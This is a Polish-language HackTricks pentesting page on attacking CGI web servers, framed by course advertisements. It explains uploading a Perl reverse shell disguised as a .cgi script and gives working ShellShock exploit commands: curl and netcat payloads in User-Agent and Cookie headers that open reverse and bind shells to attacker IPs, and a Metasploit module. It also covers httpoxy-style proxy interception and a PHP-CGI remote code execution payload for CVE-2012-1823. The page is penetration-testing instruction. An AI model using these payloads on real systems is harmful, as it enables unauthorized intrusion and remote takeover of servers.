81 lines
5.4 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Zgłębiaj swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat:
{% embed url="https://academy.8ksec.io/" %}
# Informacje
**Skrypty CGI to skrypty perl**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **przesłać powłokę odwrotną w perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonywania** \(`chmod +x`\) i **uzyskać dostęp** do powłoki odwrotnej **z przeglądarki internetowej**, aby ją wykonać. Aby przetestować **vulny CGI**, zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\)
# **ShellShock**
**ShellShock** to **vulnerability**, która dotyczy powszechnie używanego **Bash** wiersza poleceń w systemach operacyjnych opartych na Unixie. Skupia się na zdolności Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym na potencjalne przejęcie systemu.
Wykorzystując tę wrażliwość, **strona może zgłaszać błąd**.
Możesz **znaleźć** tę wrażliwość zauważając, że używa **starej wersji Apache** i **cgi_mod** \(z folderem cgi\) lub używając **nikto**.
## **Test**
Większość testów polega na wywołaniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, przeszukaj wszystkie strony cgi i przetestuj je.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(odzwierciedlone, ślepe i poza pasmem\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Wykorzystanie
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM do żądań serwera WWW\)**
CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu http. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"
Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać **nagłówek** zawierający: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.
# Stary PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
W zasadzie, jeśli cgi jest aktywne, a php jest "stare" \(&lt;5.3.12 / &lt; 5.4.2\), możesz wykonać kod.
Aby wykorzystać tę lukę, musisz uzyskać dostęp do niektórego pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\).
Następnie, aby przetestować tę lukę, możesz uzyskać dostęp na przykład do `/index.php?-s` \(zauważ `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**.
Następnie, aby uzyskać **RCE**, możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **kod PHP** do wykonania w **treści żądania. Przykład:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Więcej informacji o podatności i możliwych exploitach:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i uzyskaj certyfikat:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}